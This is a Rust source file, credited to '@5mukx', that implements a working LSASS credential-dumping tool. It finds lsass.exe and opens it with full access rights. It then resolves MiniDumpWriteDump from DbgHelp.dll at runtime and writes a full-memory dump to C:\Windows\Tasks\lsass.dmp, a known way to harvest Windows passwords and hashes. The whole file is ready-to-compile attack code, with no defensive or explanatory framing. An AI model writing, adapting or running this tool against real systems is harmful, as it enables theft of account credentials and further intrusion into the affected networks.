/*
    Run code with Administrative Privileg
    @5mukx
*/

#![allow(non_camel_case_types)]

use std::{ffi::CString, ptr::null_mut};
use winapi::{ctypes::c_void, um::{errhandlingapi::GetLastError, fileapi::{CreateFileA, CREATE_ALWAYS}, handleapi::CloseHandle, libloaderapi::{GetProcAddress, LoadLibraryA}, processthreadsapi::OpenProcess, winnt::{FILE_ATTRIBUTE_NORMAL, FILE_GENERIC_WRITE, FILE_SHARE_READ, FILE_SHARE_WRITE, PROCESS_ALL_ACCESS}}};
use sysinfo::System;

fn find_lsass() -> Result<u32, String>{
    let mut system = System::new_all();
    system.refresh_all();

    let lsass_process: Vec<_> = system
        .processes()
        .values()
        .filter(|process| process.name().to_ascii_lowercase() == "lsass.exe")
        .collect();

    for process in lsass_process{
        // println!("[*] {} PROCESS FOUND: {}", "lsass.exe" , process.pid());
        return Ok(process.pid().as_u32());
    }

    Err(String::from("Error finding lsass.exe PID"))
}

#[repr(u32)]
pub enum MINIDUMP_TYPE {
    MiniDumpNormal = 0x00000000,
    MiniDumpWithDataSegs = 0x00000001,
    MiniDumpWithFullMemory = 0x00000002,
    MiniDumpWithHandleData = 0x00000004,
    MiniDumpFilterMemory = 0x00000008,
    MiniDumpScanMemory = 0x00000010,
    MiniDumpWithUnloadedModules = 0x00000020,
    MiniDumpWithIndirectlyReferencedMemory = 0x00000040,
    MiniDumpFilterModulePaths = 0x00000080,
    MiniDumpWithProcessThreadData = 0x00000100,
    MiniDumpWithPrivateReadWriteMemory = 0x00000200,
    MiniDumpWithoutOptionalData = 0x00000400,
    MiniDumpWithFullMemoryInfo = 0x00000800,
    MiniDumpWithThreadInfo = 0x00001000,
    MiniDumpWithCodeSegs = 0x00002000,
    MiniDumpWithoutAuxiliaryState = 0x00004000,
    MiniDumpWithFullAuxiliaryState = 0x00008000,
    MiniDumpWithPrivateWriteCopyMemory = 0x00010000,
    MiniDumpIgnoreInaccessibleMemory = 0x00020000,
    MiniDumpWithTokenInformation = 0x00040000,
    MiniDumpWithModuleHeaders = 0x00080000,
    MiniDumpFilterTriage = 0x00100000,
    MiniDumpValidTypeFlags = 0x001fffff,
}

/*
        BOOL MiniDumpWriteDump(
            [in] HANDLE                            hProcess,
            [in] DWORD                             ProcessId,
            [in] HANDLE                            hFile,
            [in] MINIDUMP_TYPE                     DumpType,
            [in] PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,
            [in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
            [in] PMINIDUMP_CALLBACK_INFORMATION    CallbackParam
        );
*/

type MiniDumpWriteDumpFn = unsafe extern "system" fn(
    *mut c_void,
    u32,
    *mut c_void,
    MINIDUMP_TYPE,
    *const c_void,
    *const c_void,
    *const c_void,
) -> i32;


fn main() {
    
    let pid = find_lsass().unwrap_or_else(|e|{
        panic!("[-] Failed to find lsass.exe with Error: {e}");
    });

    unsafe{
        let hprocess = OpenProcess(
            PROCESS_ALL_ACCESS, // ? 0x001F0FFF 
            0,
            pid
            );
        
        if hprocess.is_null() {
            let error_code = GetLastError();
            panic!(
                "[-] OpenProcess Failed. Error Code: {:#X} (Access Denied?)",
                error_code
            );

        }
    
        let path = CString::new("C:\\Windows\\Tasks\\lsass.dmp").expect("Unable to convert into null terminated string");

        let hfile = CreateFileA(
            path.as_ptr(),
            FILE_GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            null_mut(),
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            null_mut()
        );

        if hfile.is_null() {
            let error_code = GetLastError();
            CloseHandle(hprocess);
            panic!("[-] CreateFileA Failed. Error Code: {:#X}", error_code);
        }


        let dbghelp_path = CString::new("DbgHelp.dll").unwrap();
        let dbghelp = LoadLibraryA(dbghelp_path.as_ptr());
        
        if dbghelp.is_null() {
            let error_code = GetLastError();
            CloseHandle(hprocess);
            CloseHandle(hfile);
            panic!("[-] LoadLibraryA Failed. Error Code: {:#X}", error_code);
        }


        println!("[+] HANDLE lsass.exe: {:?}", hprocess);
        println!("[+] PID: {:?}", pid);
    
        let process_name = CString::new("MiniDumpWriteDump").unwrap();

        let mini_dump_write_dump_addr =
            GetProcAddress(dbghelp, process_name.as_ptr());
        
        if mini_dump_write_dump_addr.is_null() {
            let error_code = GetLastError();
            CloseHandle(hprocess);
            CloseHandle(hfile);
            panic!(
                "[-] GetProcAddress Failed to find MiniDumpWriteDump. Error Code: {:#X}",
                error_code
            );
        }
        
        let mini_dump_write_dump: MiniDumpWriteDumpFn =
        std::mem::transmute(mini_dump_write_dump_addr);

        let result = mini_dump_write_dump(
            hprocess,
            pid,
            hfile,
            MINIDUMP_TYPE::MiniDumpWithFullMemory,
            null_mut(),
            null_mut(),
            null_mut(),
        );

        if result == 0 {
            let error_code = GetLastError();
            CloseHandle(hprocess);
            CloseHandle(hfile);
            panic!("[-] MiniDumpWriteDump Failed. Error Code: {:#X}", error_code);
        }

        println!("[*] lsass dump Successful");

        CloseHandle(hprocess);
        CloseHandle(hfile);
    }

}
